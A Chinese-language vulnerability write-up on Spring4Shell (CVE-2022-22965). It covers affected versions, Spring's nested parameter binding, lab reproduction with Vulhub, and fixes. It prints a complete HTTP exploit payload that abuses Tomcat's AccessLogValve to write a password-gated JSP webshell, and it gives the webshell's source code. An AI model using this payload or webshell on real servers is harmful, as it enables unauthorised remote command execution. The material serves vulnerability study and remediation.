目录
漏洞概况与影响
Spring生态体系
Spring 是一个开源的轻量级 JAVA EE 应用程序开发框架,其可以管理容器里面的对象,并且提供了面向切面编程、与各种组件集成的特性,极大地简化了开发
Spring框架中的核心组件只有三个:Core、Context和Beans。它们构建起了整个Spring的骨骼架构
Bean来包装Object,而 Context是Bean关系的集合,这个集合叫做Ioc(Inversion of Control)容器,Core组件是发现、建立和维护每 个Bean之间的关系所需要的一些列的工具
漏洞情况
2022年3月31日 Spring 官方公布漏洞信息和编号,漏洞编号为 CVE-2022-22965、CNVD-2022-23942
远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件
受影响范围:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK ≥ 9
不受影响版本:
Spring Framework = 5.3.18
Spring Framework = 5.2.20
JDK < 9
该漏洞与Tomcat版本有关
漏洞测试
这个漏洞被曝光出来之后,各种大神都在对该漏洞做复现和排查,其中有一位好大哥公布了其经过重重测试的漏洞所影响的具体版本信息数据
jdk | tomcat | 结果 |
---|---|---|
jdk8u332-b06 | apache-tomcat-8.5.77 | 安全 |
jdk8u332-b06 | apache-tomcat-8.5.78 | 安全 |
jdk8u332-b06 | apache-tomcat-9.0.60 | 安全(日志报错) |
jdk-9.0.4+11 | apache-tomcat-8.5.77 | 存在漏洞 |
jdk-9.0.4+11 | apache-tomcat-8.5.78 | 安全 |
jdk-9.0.4+11 | apache-tomcat-9.0.60 | 存在漏洞 |
jdk11.0.14.1+1 | apache-tomcat-8.5.77 | 存在漏洞 |
jdk11.0.14.1+1 | apache-tomcat-8.5.78 | 安全(日志报错) |
jdk11.0.14.1+1 | apache-tomcat-9.0.60 | 存在漏洞 |
Spring动态参数绑定
为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值
当请求为 /addUser?name=wuya&department.name=sec
时,public String addUser(User user)中的user参数内容如下
可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。
注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的
User.getDepartment() Department.setName()
多级参数自动绑定
当请求为addAddr?name=cn&province.city.district.name=yuelu
时,参数是四级自动绑定的
自动赋值的调用链路:
Contry.getProvince()
Province.getCity()
City.getDistrict()
District.setDistrictName()
PropertyDescriptor
JDK自带:Java Bean PropertyDescriptor
作用:自动调用类对象的getXXX/setXXX方法,进 行取值和赋值
BeanWrapperImpl
Spring自带:BeanWrapperImpl
作用:对Spring容器中管理的对象,自动调用 get/set方法,进行取值和赋值
利用思路
1、通过Controller的参数赋值(自动绑定), 可以修改参数对象的任意属性值(以及子对象属性值)
比如User对象、Country对象
2、找到一些包含敏感属性的对象进行更改
3、可以修改存储路径、文件名、文件内容
漏洞复现
不同环境的利用方式不同,漏洞利用的大致条件如下
-
使用JDK9及以上版本的Spring MVC框架
-
Apache Tomcat作为Servlet容器
-
Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
本地复现和环境说明
操作系统:Windows
JDK:11.0.11
Tomcat:9.0.60
SpringBoot:2.6.3(注意不使用Spring内置的Tomcat)
靶场启动: 把war包放在tomcat/webapps目录下
利用流程
tomcat/conf/server.xml 里面配置端口7299
exploit.py --url http://localhost:7299/addUser
Vulhub复现环境
参考下面网站搭建一个docker的复现环境
Vulhub - Docker-Compose file for vulnerability environment
cd /var/local/soft/vulhub/spring/CVE-2022-22965
docker-compose up -d
docker-compose ps
访问: http://192.168.142.163:8080/?name=Bob&age=25
利用脚本:vulhub_CVE-2022-22965_poc.py -- url=http://192.168.142.163:8080 (注意这个脚本只能跑一次,否则会导致日志重复写入)
HTTP Payload
class.module.classLoader.resources.context.parent.pipeline.firs
t.pattern=%{c2}i
if("j".equals(request.getParameter("pwd")))
{java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInp
utStream(); int a = -1; byte[] b = new byte[2048];
while((a=in.read(b))!=-1){ out.println(new String(b)); } }
%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=feng&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
参数解析
属性值 | 属性值 |
---|---|
pattern | %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } % |
suffix | .jsp |
directory | webapps/ROOT |
prefix | feng |
fileDateFormat |
这段代码的意思是在webapps/ROOT下写入一个名为 feng.jsp的文件,内容是......
利用流程
1、哪个对象有这些属性值? org.apache.catalina.valves.AccessLogValve
2、从Controller接口开始,怎么找到一个对象包含了AccessLogValve?
参数描述
调用链路(多级参数自动赋值)是怎么形成的? class.module.classLoader.resources.context.parent.pipeline.first.pattern
缓存的Class对象
java.lang.Class.getModule() java.lang.Module.getClassLoader() org.apache.catalina.loader.ParallelWebappClassLoader.getResources() org.apache.catalina.webresources.StandardRoot.getContext() org.apache.catalina.core.StandardContext.getParent() org.apache.catalina.core.StandardHost.getPipeline() org.apache.catalina.core.StandardPipeline.getFirst() org.apache.catalina.valves.AccessLogValve.setPattern()
Class对象怎么来的
缓存了一个Class属性!!
JSP木马内容
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInpu
tStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
漏洞排查和修复
漏洞排查
1、是否启用Spring 参数绑定功能
2、JDK版本 9+
3、Tomcat部署方式及版本
4、Tomcat Access功能
5、流量分析
6、日志分析
漏洞修复
1、升级Spring
2、升级Tomcat
3、安装安全产品
新版本的修复原理
在Spring官方发布的新版本中,我们发现漏洞存在的部分代码修改了,下面是源码对比
如果其中的属性是ClassLoader 和 ProtectionDomain,就直接 continue跳过